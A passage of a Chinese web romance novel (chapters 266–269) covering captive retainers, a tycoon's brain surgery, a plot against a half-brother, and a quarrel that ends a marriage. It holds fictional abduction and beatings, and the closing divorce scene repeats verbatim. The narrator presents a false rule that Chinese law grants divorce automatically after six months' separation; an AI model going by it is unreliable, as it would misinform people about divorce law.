“少爷!您这是做什么?!好端端的,凭什么绑了我?!您就不怕先生知道后震怒吗?!” 司慎行漆黑的眸子泛着冰冷的碎芒。 片刻后,突然笑了。 第266章 两场较量 那笑容不达眼底,看得司管家通体生寒。 “您、您笑什么……?” 司慎行唇角弧度扩大,说:“司管家手眼通天,怎么在关键的时候消息不灵通了呢?你觉得,我会信你什么都不知道吗?” “什么意思……发生什么事了?” 司慎行收敛了笑意,面无表情开口:“老头突然病发晕倒,现在已经送去手术室抢救了。而你,是最后一个见过他的人。” 他故意不提,在司管家之后,周鸣也去见了司董事长。 只见司管家的眼睛倏然瞪大,一副始料未及的样子。 那神态不像是假装的。 司慎行盯着他脸上的每一寸表情。 “现在你的靠山没了,该交代的,趁早老实交代。说不定我还能留你一条狗命。” 司管家不接他这话,只问司董事长的情况。 “先生现在怎么样了?为什么会突然发病?是哪里的问题让他昏厥?是脑部的那个肿瘤吗?还是……” 司慎行递了个眼神给霍刚。 霍刚会意,走上前,直接就给了司管家一个耳光。 那耳光他用了很大的力道,打得司管家一颗牙直接掉了,嘴里鲜血直流。 司管家只觉得嘴里剧痛无比,连带着耳朵都嗡嗡作响。 “你、你……” “你什么你?少爷问什么你答什么,别在这里装傻!” “唔、唔真不知道要交代什么!” 司管家口齿不清地说:“我最后一次见先生是在一个半小时前。是去问先生午餐想吃什么的。先生说他没胃口,让我送点粥过来。我知道先生最喜欢吃全粥铺的螃蟹粥,就亲自开车过去……谁曾想,我刚拎着粥回到医院,就被你们绑到了这里!” 司慎行看向阿麦。 阿麦轻轻一点头。 当时他抓司管家的时候,他的确刚从外面回来,手里还拎着一个保温杯。 保温杯里的,正是螃蟹粥。 只是不过现在那碗粥,已经被扔到垃圾桶里去了。 总之,单这一点上,司管家的确没撒谎。 司慎行把视线从阿麦身上,重新转到司管家身上。 “既然如此,那我们再算一算别的账。” “您先放开我,我们好好说话。万一先生需要我,我也好赶过去。” 司管家又搬出了司董事长。 他昨天已经偷偷查过,夏灼灼的确就是那位暗部赫赫有名的神医。 司董事长就算真是脑子里的肿瘤出了问题,导致的昏迷,也有很大概率在夏灼灼的医治下捡回一条命。 故而他依旧有恃无恐,料定司慎行不敢对他怎么样。 司慎行眼底浮现明显的嘲讽。 “你以为,你不说,我就什么都不知道吗?就算我杀了你,老头醒过来也不会多说什么。你千不该万不该,不该跟司谨言联手对付我。” 司管家表情一僵,但下一瞬,他就恢复了无辜的表情。 “少爷,这种脏水可泼不得!” “脏水?” 司慎行轻轻一挑眉,对阿麦打了个手势。 阿麦立刻上前,将自己昨晚查到的司管家一直在偷偷跟司谨言联系的证据全都罗列了出来。 其中还包括那些二线城市叛变的人的口供。 司管家的脸色一寸寸变白,如同白纸一般。 司慎行却已经从他这里得到了该得到的消息,起身说:“刚子,这里交给你了。别弄死,我留着他还有用。” “是。” 霍刚应声,皮笑肉不笑地朝司管家走过去。 “司管家,你应该听说过我的手段吗?今天正好让你见见,什么叫落在我手里,不如从未出生!” 司管家脸色大变,再也绷不住,哭嚎着大喊。 “我错了!少爷!我错了!我再也不敢了!求您看在我之前为先生做事,没有功劳也有苦劳的份上,饶了我吧!我以后……” 阿麦直接关上了房门,陪司慎行朝走廊另一侧的病房走去。 另一侧最靠里的病房,关押着周鸣。 当然,之所以关在这里,不是因为司慎行没地方关人。 而是关在医院,一可以随时方便他去往司董事长那边,二则是消息不能外传。 他关了司董事长两个心腹,下面的人会议论纷纷,甚至说不定会大乱。 换成以前,他不会管这些。 真乱起来,全一窝端了算了。 至于别人背地里说他什么,他也全都不在乎。 但认识了夏灼灼之后,他学会了隐忍,知道舆论也是一把锋利的刀。 他做了那么多有利于S集团的事,不能因为这么一点小事,而让自己成为众矢之的。 这些,都是夏灼灼教他的。 他固然有御下的天赋,可夏灼灼从底层摸爬滚打上来,更有经验,更明白人心。 很快司慎行和阿麦就到了周鸣的病房。 房门推开。 里面的周鸣不吵也不闹,只是看到司慎行进门,眼睛微微瞪大了一些,明显有话要说。 阿麦依旧为司慎行弄了把椅子,放在距离周鸣面前不到两米的距离。 司慎行这次却没坐。 让阿麦拿走堵住他嘴里的棉布后,开口道:“鸣叔,你可知道发生了什么?” 跟对司管家不同,司慎行对周鸣的态度礼貌不少。 一是周鸣这人,在以前司慎行还是私生子的时候,私下偶尔会关照他。 他不是忘恩负义的人。 当然,前提是,周鸣没有跟司管家一样,站到司谨言那边。 周鸣的眼仁有些发红。 “是董事长出了什么事吗?” 除此之外,他想不明白司慎行为什么要绑了他。 司慎行点头,如实说:“发病了,现在在手术室,灼灼正在为他动手术。” “司小姐的医术能……” 不等他问完,司慎行直接接话:“能。” 周鸣一副明显松了口气的表情,随即眼眶更红了。 “都怪我。你绑了我,是应该的。” 司慎行微微蹙眉。 “这是什么意思?” 周鸣犹豫两秒,终于还是开口。 “昨天,董事长让我盯着子安,顺便让我去查,他最近都有跟什么人在联系。” “我查到了,司管家……跟谨言少爷有密切的私下来往。” “一个小时前,我把我查到的事情告诉了董事长。” “董事长很生气,气得把把病房里能砸的东西都砸了……” “后来,他让我出去,说他想一个人静一静。” “之后我就走了。再后来,您的人就把我绑到这里来了。所以我猜测,是不是董事长出了什么事……” 越说到后面,周鸣脸上的后悔越明显。 “董事长身体状况不好,我应该委婉一点说,或是之后等他动完手术,再将这件事告诉他的。都怪我!是我害了董事长!” 他懊恼不已,丝毫不觉得司慎行绑了他有什么问题。 跟司管家十多年前才到司家不同,他是年轻的时候就跟着司董事长做事的,那个时候,司慎行和司谨言还没有出生。 他跟司管家一样,都姓周,只是并没有什么亲戚关系,纯属巧合罢了。 而司管家主内,他主外。 他主要负责替司董事长处理公司那边的业务,时常出差,不在京都。 故而,他跟司谨言来往不多。 同样的,他跟司慎行的来往也不多。 “这不怪你。”司慎行开口道:“真正让他动怒的是司管家。如果他不背叛,老头子不会突然病发。” 他这么说,周鸣仍是很自责。 他迟疑片刻,问起了司管家。 “子安那边……” “也关在这一层。” 周鸣微微松了口气,问:“您打算怎么处置我们?” “司管家我打算等老头子醒过来之后,他自己处置。” 顿了顿,他吩咐阿麦:“帮鸣叔解开绳子。” “是。” 绳子很快被解开。 周鸣不解。 “您这是……?” “我需要您帮我做一件事,您可愿意?” “是有关谨言少爷吗?” “是。” 周鸣沉默了足足有两秒钟才开口:“我愿意。” 司慎行点点头,说:“您先在这里休息一会儿,我想好了具体要您做什么,再来跟您说。在这之前,您暂时不能离开,还请您见谅。” “我理解。” 司慎行再次点头,转头出去了。 到了走廊,阿麦问:“您信任他?” “他跟周子安是两种人,他比起自己的利益,更在意公司的利益。司谨言没有什么经商的头脑,只有一些小聪明,他这样的,担不了大任。周鸣很清楚这一点,他是个聪明人,不会站在蠢人那边。” 话音一转,他又说:“不过谨慎起见,还是得查一查他跟司谨言有没有什么往来。” “是,我这就去查。” 阿麦忙碌去了。 司慎行则来到了手术室门口。 他不知道里面的情况,只能在门口来回踱步。 而手术室里,夏灼灼擦汗的毛巾都换了两条。 这场手术,名为“左侧颞叶胶质瘤切除术”。 坏消息是,这种手术风险极高。 如果不做手术,患者最多再生存半年。 而好消息则是,司董事长晕倒,并非肿瘤导致,只是气急攻心。 但司董事长清醒的情况下,定然不会同意让她来做手术,这一次正好是一个很好的机会。 阿麦查到周鸣跟司谨言并没有任何私下来往的时候,夏灼灼已经完成颅骨钻孔,开始进行肿瘤切除。 手术室里是一场人与死神的较量,手术室外,司慎行也开始了他跟司谨言的较量。 第267章 手术 确认周鸣没有问题之后,司慎行就开始了他的计划。 一通电话,由周鸣打到司谨言所住海外别墅的电话。 电话并不是本人接的,周鸣熟练地用英文跟对方说了司董事长的情况。 “董事长突然病发,昏迷不醒,已经被推进抢救室。情况不太好,而且主刀的人是司慎行的人,我有些担心会出现什么问题,还请你转告谨言少爷,让他尽快回国。” “还有……”他补充道:“司管家不见了,我到处都找不到他的人。” 电话这头的佣人点头。 “我会尽快转告谨言先生。” 通话结束,周鸣对着司慎行一点头:“已经按您说的做了。” 司慎行道:“好,辛苦。” “举手之劳……只是我不明白,您为什么这个时候让他回国?” “不引他回来,我要看的戏还怎么唱?” 周鸣更疑惑了。 “鸣叔,你继续在这里休息吧,有什么需要的,随时吩咐他们。如果他们打电话回来,不要接。” “好。” 司慎行很快离开了病房,重新回到手术室门口等待。 …… 而另一边,司谨言很快得知那通电话的内容。 他神色一凌。 “让他的人给爸动手术,这不是正好给他正大光明害死爸的机会了吗?老宅的人究竟在做什么!怎么能允许他这么肆无忌惮地害人!” 怪不得只对司董事长忠心耿耿的周鸣会打电话给他。 换成他是周鸣,此刻也急疯了。 他身边的心腹手下提醒道:“可是我们现在回去肯定来不及了,就算咱们直飞华夏,起码也得八个小时的时间。到那时候,恐怕董事长的葬礼都开始办了。等我们回去,不仅什么都得不到,恐怕还会被司慎行扣住。我们现在留在这里静观其变才是最明智的。” 司谨言冷声道:“静观其变?要等整个S集团彻底由他掌握,我再回去吗?到那时候,黄花菜都凉了!” “可是我们现在回去也无济于事。” “谁说无济于事的?我们可以用舆论对付司慎行。你不懂华夏,舆论可是一把能置人于死地的刀!” “……” 他不再管心腹的劝阻,一边叫人去准备私人飞机,申请去华夏的航线,一边叫了另一个手下,让他在适当的时机,在华夏的网上散播消息。 就说司慎行要害死司董事长。 刚才的心腹忍不住说:“可万一咱们估计错了,司慎行没想害死董事长,而是真的想治好他的病呢?” 司谨言冷笑。 “换成是你,你会错过这样的大好机会吗?” 当然不会。 只是…… “他们到底是亲父子。” 司谨言笑容里的嘲讽更深。 “他们除了血缘关系,哪有父子感情?别忘了,司慎行是怎么长大的。这些年,我那个爸可是对他不管不顾,就像现在对我一样。” 仅仅是一年的“抛弃”,他就恨透了司董事长。 何况司慎行被抛弃了那么多年。 他心里对司董事长一定跟自己一样,恨不得他立刻死掉。 他们是兄弟,身上有一半的血是一样的,他们骨子里的血,都是冷的。 而且…… “司慎行这人,做事可比我更狠。” 仅此一番话,其他人再无异议。 只是那位一开始阻挡司谨言回国的心腹忧心忡忡。 他总有种不太好的预感。 于是他申请跟司谨言一起回华夏。 司谨言同意了。 司董事长虽然把他抛弃在海外,可钱没少给。 这个地方,有钱能使鬼推磨。 申请一个航线,使劲砸钱就能办到。 很快他上了飞机。 七个小时后,他将抵达华夏,接替司慎行的一切! 虽然他现在成了私生子,可谁敢说他不是司董事长的儿子? 一半的正统继承人血液,也足够服众了。 他那么多年处心积虑的拉拢人脉可不是白费力气。 到时候他一呼百应,司慎行不仅要下台,还得进去吃牢饭。 “他要为自己的贪婪付出代价了。”司谨言坐在飞机上,喝着手里的红酒说。 他唇角弯着,可跟司慎行一般漆黑的眼睛里,一丝笑容也没有。 整个机舱都陷入阴冷的氛围里。 五个小时后,手术室门口“手术中”的牌子终于灭了。 夏灼灼摘掉脸上的双层口罩从里面走出来。 她进去的时候,整个人清清爽爽,现在却浑身上下都是汗,仿佛刚跌落进泳池。 司慎行蹙眉,立刻迎上前扶住她。 “怎么样?站得住吗?我抱你去休息?” 上次给夏云海做完手术,夏灼灼直接晕过去了,司慎行当时得知的时候吓得不轻。 故而这次他仍有阴影,怕夏灼灼再晕过去。 但上次是因为低血糖,加上长时间高度注意力集中导致的脑部缺氧昏厥。 有了前车之鉴,这次进去之前,夏灼灼特意问人要了巧克力,补充了体力才开始忙手术的事。 故而她没事,只是有些累。 “放心,我不晕。”夏灼灼摇头,心里暖洋洋的。 司慎行在手术室外前前后后等了快有七个小时。 可她出来之后,他第一时间问的不是司董事长,而是她。 这一行为看似没什么,但大多数人都做不到。 她主动说:“手术很成功,不过我得跟你说说手术的过程。” 司慎行道:“我对这个一窍不通,你不用告诉我也行,先吃点东西,恢复一些体力。我叫人准备了吃的,你多少吃点?” 夏灼灼的确有点饿了。 她十点半进的手术室,现在已经傍晚了。 夕阳的余晖从落地窗钻进来,洒了满地的金粉。 “那咱们边吃边说。” “好。” 司慎行点头,对阿麦说:“其他人,你留下来处理。” 司董事长手术的事情要保密,所以这些医生全都得暂时“请”到周鸣和司管家所在的那层楼,确保不会有半个消息透出去。 夏灼灼多嘴了一句。 “这场手术不是我一个人的功劳,这里的神外科主任,脑科主任,麻醉科,都帮了我很大的忙。” 司慎行点头,对阿麦说:“好好照顾,缺什么就给什么。” “是。” 阿麦办事细心,夏灼灼很放心,老老实实跟着司慎行吃饭去了。 吃的东西就在医院对面的餐厅。 不过已经被包下来,吃的也不是这家餐厅做的,是更远的一家星级饭店。 司慎行盛了一碗鸡汤给她,说:“这家饭店的菜我以前常吃,还不错,你试试看合不合胃口。” 夏灼灼点头,喝了小半碗鸡汤后,开口道:“我得给你说说手术过程。” 她第二次提到这事,司慎行的表情就郑重了起来。 “你说。” 他已经知道,司董事长当时昏倒不是脑子里的肿瘤出了问题,而是气急攻心。 后来手术同意书也是他签字的。 “我这个手术,名字叫左侧颞叶胶质瘤切除术,也俗称清醒开颅术。” 司慎行听着前面还有些不明所以,听到“清醒开颅术”之后,隐约明白了什么。 只听夏灼灼说:“就是你字面上理解的意思。手术过程中间,我们需要把他唤醒,让他配合手术。他一开始非常不配合,我用了点恐吓的手段……所以等他醒过来,他估计会生气。到时候,你可能得帮我解释一下。” 司慎行听得心惊胆战。 万一老头子不配合……他不敢继续想。 “他很固执,是我见过最固执的人。只要能让他配合,你用什么手段都是对的。” 夏灼灼很无奈地说:“但他肯定会因此记恨上我,所以你得帮我解释。” 司慎行道:“手术成功就是最好的解释,放心,他虽然固执,但是不是傻子。只要把原理告诉他,他能理解的。” “真的?” “他不理解也只能理解,谁让你手术成功了呢?你救了他的命,他只会感激你。” 夏灼灼稍稍松了一口气。 只听司慎行问:“除了这个,手术过程中还遇到什么危险了吗?” 他本来不想知道手术过程,因为他对医学的事情一无所知,听了也听不懂,白白浪费夏灼灼的力气。 但夏灼灼是个很擅长说话的人,她能把很难的事情简单化,听了还不会觉得枯燥。 而且,司慎行刚才想了下,他得知道手术过程都有哪些难点,到时候才能跟司董事长复述手术的凶险。 ——让老头子知道,换成别人来手术,这手术的失败几率有多大。 夏灼灼如实描述。 “过程中出现了一次大出血。你知道的,他的手术之所以难,是因为肿瘤靠近一条动脉。” “我很小心地处理,避开了那条动脉。” “但是没想到,那附近还有一条隐藏的静脉。” “副手在帮我的时候,不小心把那条静脉弄破裂了……” “好在有惊无险,我及时进行了血管缝合。” 她语气平静,说出来的话,却足以让人头冒冷汗。 司慎行握住她的手,说:“灼灼,你是他的救命恩人,他要是还反过来怪你,以后我就不认他了。” “……我还没见过儿子不认老子的。” “现在不就见到了?” “……” “吃吧,你喜欢吃鸡翅,我叫他们按照你的口味做了甜口的。” 夏灼灼点头,继续吃饭。 吃完饭,司慎行才跟她说起他对付司谨言的计划。 第268章 引蛇,出洞 “他一直在国外始终是个隐患。老头子虽然把他送出去但把海外的产业全给了他。有一天他羽翼丰满了必定会对付我。与其坐以待毙等着他来对付我不如我引蛇出洞。” 司慎行对她说:“现在计划已经成功了一半估计还有一个多小时他的飞机就要落地了。” 夏灼灼听到这眉头微蹙。 司慎行看着她问:“你觉得我不该这么做太赶尽杀绝了?” 夏灼灼摇头:“你跟他势同水火你不赶尽杀绝他就让你永无翻身之日。” “那你的表情……” “我觉得你这个计划还不够仔细你听我说。” 她细声说了几句。 司慎行的眼睛亮起来。 “就按照你说的做这么做能完全打消他的疑虑还能让我的手不沾血。” “是啊我们不能被他拉下水要干干净净地除掉他。” “多亏有你。” “我比较坏所以想出来的点子也坏。” 司慎行轻捏她的鼻子。 “你不是坏你是聪明谨慎。而且坏不坏的看立场。对我们的敌人来说 夏灼灼笑道:“无所谓我本来也不喜欢当什么好人。人善被人欺。” 这是她经历过那么多平行世界领悟出来的道理。 只是她从不对无辜人下手。 放眼她对付过的那么多人若不是对方先带着恶意出现她也不会对付他们。 夏灼灼这边吃着燕窝那边司慎行打电话给霍刚吩咐他按照夏灼灼刚才说的计划去做一件事。 两人很快回到了医院。 路上夏灼灼接到夏太太的电话。 “灼灼你什么时候回来?明天就过年了。” 夏灼灼昨天出发之前跟夏太太打过招呼当时说不知道什么时候回去等确定了再告诉她。 她拿着手机说:“现在还是不能确定……不过明天肯定是回不来了。” 夏太太有些遗憾。 “还以为今年能跟你过个年。” 以前夏灼灼被拐每逢过年夏太太都不开心。 因为夏灼灼就是在跨年的时候被拐走的。 如今她回来了以为今年能跟她一起过年没想到还是…… 不过夏灼灼是个明事理的人很快又说:“你别管我们正事要紧。等办完了正事我们一家人再坐下来一起吃饭。横竖今年你大哥也在京都回不来 你们两个有空可以一起吃顿饭。 “好,我等忙完了就去找大哥。 “嗯。 夏太太很快挂了电话。 一是因为怕耽误夏灼灼的事,二是家里来了很多客人。 夏氏集团已经重新回到正轨,虽说经历了破产,可公司重组起来速度很快。 因为当初的“破产是有意而为之。 加上有夏怀呈的帮忙,夏氏集团已经隐隐有回归之前荣耀的意思。 故而年前家里的客人来了一波又一波。 真心也好,假意也罢,场面上得过得去。 夏灼灼这边,把夏太太跟她说的话告诉了司慎行。 司慎行一脸愧疚。 “你本来可以留在家里过个好年的。 “事情没解决,就算留在家里过年也是三心二意,不如一起把事情一次性全都解决了,往后的每一天都可以跟过年一样无忧无虑。 司慎行喉头微动。 “谢谢你,灼灼。 他见过很多女人,却没有一个跟她一般聪慧、明事理。 他不喜欢蠢笨,胡搅蛮缠的女人,而夏灼灼不管是从哪一点看,都长在了他的喜好上。 “灵魂伴侣这个词,他之前听过,却嗤之以鼻。 觉得不可能存在完全契合的两个人。 现在早已经不这么认为了。 夏灼灼就是他的灵魂伴侣。 他们心灵契合。 …… 司董事长已经被转移到ICU。 司慎行隔着ICU的玻璃,看着床上那个被仪器包围住的男人,心情格外复杂。 他跟司董事长其实根本不熟。 如果是熟,也是在这一年他的身份“转正之后才熟悉一些,父子之情根本还谈不上。 他们是亲生父子,却更像上下级。 只是此刻看到他静静躺在那里,他的心口竟然有些钝痛。 看着看着,连眼眶都酸涩了起来。 夏灼灼看到司慎行的眼眶一圈有点红,诧异的同时,牵住他的手说:“放心,不会有事,手术很成功。不出两天,他就能醒。 司慎行点头。 “我知道,我只是……我也不知道为什么。 司慎行说不上来,夏灼灼却是知道。 她以前没回夏家认亲的时候,对柳月茹也是那样。 她恨柳月茹那么刻薄冷漠甚至残忍地待她,恨不得一辈子见不到她。 可得知柳月茹重病,她心里又隐隐泛起疼,所以最终还是回了乡下——然后就被算计了。 终归到底,是因为他们缺爱。 所以当她得到了真正的亲情的时候,她对柳月茹就再没有任何的感情了。 司慎行应该也是如此。 因为从出小就缺爱,所以一边恨司董事长,一边又渴望从司董事长身上得到亲情,所以才会如此矛盾。 但司董事长跟柳月茹又不同。 夏灼灼还是希望,未来有一天,他们父子两个能消除芥蒂。 就算消除不了,也不要成为仇人。 她没接司慎行的话,等着他自己慢慢消化。 司慎行却也很快从情绪中抽离。 刚才那一瞬间的胸闷很快就没了。 他对夏灼灼说:“你累了一整天,先回去休息,这里有我。 “你不回去休息一下吗? 司慎行道:“再有一个小时,他就到了,演戏演全套。保不准医院里也有他的眼线。 “好。 事关正事,夏灼灼不坚持了。 司慎行派了个人送她。 回去的路上,夏灼灼昏昏欲睡。 她极力克制自己,让自己到家之后再睡,正要恰自己的虎口保持清醒,车子突然一个急刹。 夏灼灼反应快,一把抓住车内扶手,这才没让头撞向前座。 “夏小姐!您没事吧?司机连忙扭头询问。 阿麦和霍刚都各自有事,送她的人是霍刚手底下的人。 但他很清楚,这位夏小姐以后是要做司太太的,一时间吓得冷汗都下来了。 “我没事,怎么突然踩刹车? 话音刚落,一个戴着墨镜的女孩表情很难看地走过来,用力拍驾驶座的车窗。 司机拉下车窗 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夏灼灼便让司机转钱给她了。 女孩收了钱,脸色还是很不好,但还是走了。 上车后,她对副驾的女人说:“真倒霉!遇上两个穷光蛋!就赔了我五千。这可是我刚买的新车。” 副驾上的女人眼睛长得很漂亮,只是鼻子略微有些大。 她撩了一下头发,说:“谁让你开车不专心?遇上难说话的,直接报警,你们各自都有一半的责任。别说五千了,恐怕你还得出钱。” “……云霓姐,你怎么胳膊肘往外拐啊?” 副驾驶坐着的,正是云霓,宗域现在的妻子。 她并不知道后面那辆追尾的车里坐着夏灼灼。 女孩说:“我就是实话实说。再说了,也就你把一辆不到八十万的车当宝。” 女孩眼底有一瞬间的不悦,但很快压下来了。 她追捧着云霓说:“我跟你哪比得上啊?你出身比我好,又嫁了个潜力股,八十万对你来说,就是一个包的钱。我这八十万,可是求了我妈好久,我好不容易才让她答应给我买的。” “好了,等你生日,我送你一辆新的。” 女孩眼睛一亮。 “真的?” “我骗你干什么?八十万而已。别啰嗦了,快开车,等会儿聚会迟到了。” “好好好,绝对不耽误你跟姐夫的约会。” 云霓干咳一声,脸上浮现两朵粉云。 这阵子,她跟宗域的感情突飞猛进。 虽然她也不知道为什么。 反正大概是从她生日那次,宗域从沪城寄来礼物之后,他对她的态度就好多了。 不再是冷冰冰。 虽然他还是不肯碰她……但至少愿意跟她说话,跟她吃饭了。 今天更是主动问她,要不要去新开的一家西餐厅吃饭。 当时她正在跟开车的女孩在酒廊吃饭,闻言立刻答应,但由于她喝了酒,又没带司机,所以让女孩把她送过去。 第269章 我们离婚吧 只是没想到,女孩刚买了车,车技很不娴熟。 过人行道的时候,竟然没左右看路。 导致差点撞上一个路人。 还好刹车及时。 只是被后面的车子追尾了。 说到底,是她们这辆车的责任更大。 但后面的车可能是赶时间,竟然同意主动赔钱。 两个人正说着话,后面那辆追尾的车开了上来,从另一个车道开过去。 云霓下意识朝那边扫了一眼,却在下一瞬瞪大了眼睛。 那辆车后面坐着的……是夏灼灼? 她正要仔细看,那辆车已经开走了。 “追上去!”云霓立刻对女孩说。 她要确认一下,那到底是不是夏灼灼。 女孩提醒道:“可是我们不往那条路走,他们右转了……” “我让你追上去!”语气里是明显的命令。 女孩吓了一跳,心中不爽。 可想到云霓会再送她新车,她还是咽下了不舒服,踩下油门追上去了。 女孩的车技不太好,好在道路拥堵,她们最终还是追上了。 “跟后面一点,别叫他们发现。” “哦,好……怎么了吗?” “别问!” “哦……” 四十分钟后,那辆车终于停了下来。 在一栋豪宅面前,车子缓缓停下,司机下车打开后座的车门,紧接着一道窈窕的身影从车上下来。 虽然只是个侧脸,但云霓一眼认出,那就是夏灼灼! 夏灼灼的脸美到像是有妖气,她绝不会认错的。 她竟然……真的来京都了! 她究竟来干什么? 不会是来找宗域的吧? 一想到这种可能性,云霓的手都有点发抖。 她甚至想冲下车直接去质问夏灼灼,可是她不敢,因为她还有把柄在夏灼灼手里。 当日她对爷爷下药,夏灼灼对此事一清二楚。 万一她去报警…… 云霓死死咬住了下唇。 这种看不惯她,却又干不掉她的感觉,让她非常不爽! 手机铃声在这时候响起来,将云霓的思绪骤然拉回来。 她看了眼来电显示,是宗域打过来的。 “快到了吗?”宗域问她。 云霓打了个手势,让女孩开车离开,嘴上对宗域说:“还得半个小时。我们路上发生了车祸……” “车祸?人怎么样?需 要我过来处理吗?” “不用,就是一点小刮擦,没人受伤,只是耽误了一点时间。” “那你不用着急,慢慢过来,我等你。” “好。” 通话结束,云霓沉沉吐了一口气。 驾驶座上的女孩见云霓的脸色不太好,为了缓和气氛,笑着说:“你跟姐夫的关系真不错,我好羡慕你们……” 谁知云霓的脸色瞬间变得更阴沉了。 “安静一点,专心开车,别又撞了。” 女孩热脸贴了云霓的冷屁股,尴尬又恼怒,沉默着将云霓送到了目的地。 下了车,云霓连招呼都没打,直接进了餐厅。 这是一家吃卢布松的餐厅,名为“天巢”,位于大楼顶层。 餐厅三面都是落地玻璃,可以在这里俯瞰半个京都。 所有位置都是靠窗的,中间则是设计独特的圆形吧台。 云霓一眼就看到了宗域。 他一身烟灰色西装,不知在跟谁说电话,脸上有淡淡的笑意。 云霓几乎没有在宗域脸上见过这样的笑容,因为他从不对她笑。 他看着自己的眼神,眼里只有厌恶和痛恨。 所以,他现在是在对谁笑? 是对夏灼灼吗? 夏灼灼那张妖冶的脸浮现在脑海里。 她不知道自己中了什么邪,心里的怒火越烧越旺,完全无法克制自己的情绪。 她一把推开挡在自己面前的侍应生,快步冲过去,直接夺过了宗域手里的手机。 “你干什么?” 宗域始料未及。 吃了一惊后,立刻蹙眉,脸色很难看地说:“把手机还给我。” “我不还!你问**什么,我还想问你干什么呢!我以为你要好好跟我过日子了,结果呢!你还是去找那个**了!” 宗域的眉头蹙得更深。 “你说谁是**?” “我说她!”云霓手指着手机,不等宗域说话,拿起手机就说:“夏灼灼,你贱不贱啊?你就这么爱勾搭别人的老公吗?” 宗域的脸色骤然冷厉起来。 刚才他只是觉得烦躁,现在则是开始厌恶了。 他对云霓的感觉,又回到了一个月之前。 恶心她,恨她。 她算计着他,走上一条不归路。 这些日子,他一直按照夏灼灼说的,努力去珍惜眼前人。 他也的确那么做了。 他自己也对自 己说,云霓至少对他一片真心,他该试着接受她,接受现在的生活。 所以他身体力行地努力了。 甚至还预定了这家新开的米其林餐厅,百忙之中抽出时间请她吃晚餐。 可云霓呢? 她自己把这一切都毁了。 毁了晚餐,也毁了他想要努力跟云霓试试的决心。 以后他或许会随着时间,真的爱上除了夏灼灼之外的别的女人,但这个女人,绝不可能是云霓了。 他们两个,这辈子都不可能了。 宗域的眼神,越来越冷,冷到仿佛能把人冻成冰。 云霓却只以为,是自己说夏灼灼是**的话触犯了宗域的忌讳,所以他才用那种眼神看自己。 但她真是恨透了夏灼灼这个第三者! 她用力抓着手机,继续对着手机咒骂。 “**!你说话啊!不敢说话了是吗?你已经有司慎行了,还在外面给人当三儿,你就不怕他知道吗?你这种人,到底是有多贱啊?你下面就这么寂寞难耐吗?司慎行满足不了你了吗?” “你够了!” 手机那头,突然传来一道苍老却中气十足的声音。 这声音不是别人,正是云老爷子的声音。 云霓顿时呆愣在原地。 这声音……怎么像是……爷爷? 只听那头的云老爷子继续说:“我刚才还以为我年纪大了,耳朵听错了。没想到这种污秽的话,真是从你嘴里说出来的!” 云老爷子没有第一时间说话,是因为他惊呆了。 现在回过神来,对着云霓就是一通痛骂。 “……我这么多年,白教导你!” 骂到后面,云老爷子几乎有点喘不上气来,像是被她气狠了。 云霓察觉到老爷子不对劲,连忙说:“都是我的错,爷爷你别生气……” “别说了!把电话还给阿域!我不想听到你的声音!” 云老爷子的语气里,除了失望,还有一丝冷淡。 早在上次云霓对他下毒,让他知道之后,他对云霓就不如以前好。 现在甚至比起云霓,跟宗域更亲近。 云霓咬住唇,将手机还给了宗域。 宗域拿着手机走到一边,说了约莫有五分钟的话,才挂断电话走过来。 “阿域……” 云霓眼眶噙着泪,心里除了愧疚,还有害怕。 害怕她跟宗域之间的关系又回到冰点。 然而宗域开口就说: “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。”宗域面无表情开口:“我们之间没有那个缘分,我努力过了,发现我真的无法爱上你。与其彼此折磨,不如放手,或许我们还能做朋友。” “我说了!我不会跟你离婚的!我就算死,也要变成鬼缠着你!” 宗域点头。 “既然这样,那我们就走司法程序。” 华夏的律法里有一条,一方如果提出离婚,若是另一方不同意,那么只要想离婚的那方提出起诉之后,双方分居六个月,就算自动离婚。 云霓不同意也没有用。 说完,他拿起椅背上的外套,直接往外走。 只是才刚走进电梯,云霓就追了进来。 “宗域!你站住!” 她追进去的时候,电梯的门正好关上。 宗域出不去,索性对上她的视线。 “还有什么话要说?还是说,你想通了?” “绝不可能!”她说:“你别忘了,你是怎么走到今天这一步的。你要是敢起诉离婚,我保证,我们云家会让你失去现在所有的一切。还有,你爸爸的事情,你也别想撇清关系!” 云霓当初能逼宗域跟她结婚,最重要的原因就是宗父的死。 所以,当初她能逼他结婚,现在她就能用这个继续捆住她。 谁想,宗域冷冷一笑,那笑容,冷冽到了骨子里。 云霓甚至觉得后背都感到一阵阵发凉。 “你笑什么?你别以为事情过了这么久,就能当做什么都没发生了。你杀了你的亲爸的证据还放在我爷爷那里,你一辈子都别想抛下我!我这辈子缠定你了!” 宗域深深看她一眼,面无表情开口:“你以为,我在电话里跟老爷子说了什么?” 云霓微微一愣,很快明白他这是什么意思。 “你是说……爷爷也同意了?” “没错。” 云老爷子答应放他自由,这还得谢谢云霓。 如果不是云霓今天的“发疯”,云老爷子也不会对她彻底失望。 只是云老爷子也提出了一个条件。 那就是,宗域以后得姓云。 云老爷子会让云霓的父亲认宗域为干儿子。 他仍然是云家的**人,只是不再是云霓的丈夫,而是云霓的哥哥了。 而且,以后宗域的儿子,也得姓云。 宗域答应了。 横竖他不喜欢自己这个姓,对自己的亲生父亲更是深恶痛绝。 姓什么对他来说都一样。 他们就此达成了合作。 “我们离婚吧。” 云霓猛地抬头。 她刚才有点不敢看宗域,此刻猛地看向他的眼睛,发现他眼底满是厌恶。 是那种赤裸裸的、深恶痛绝的厌恶。 云霓一时间脸色苍白。 “我不要!我不会跟你离婚的!” “云霓。”宗域面无表情开口:“我们之间没有那个缘分,我努力过了,发现我真的无法爱上你。与其彼此折磨,不如放手,或许我们还能做朋友。” “我说了!我不会跟你离婚的!我就算死,也要变成鬼缠着你!” 宗域点头。 “既然这样,那我们就走司法程序。” 华夏的律法里有一条,一方如果提出离婚,若是另一方不同意,那么只要想离婚的那方提出起诉之后,双方分居六个月,就算自动离婚。 云霓不同意也没有用。 说完,他拿起椅背上的外套,直接往外走。 只是才刚走进电梯,云霓就追了进来。 “宗域!你站住!” 她追进去的时候,电梯的门正好关上。 宗域出不去,索性对上她的视线。 “还有什么话要说?还是说,你想通了?” 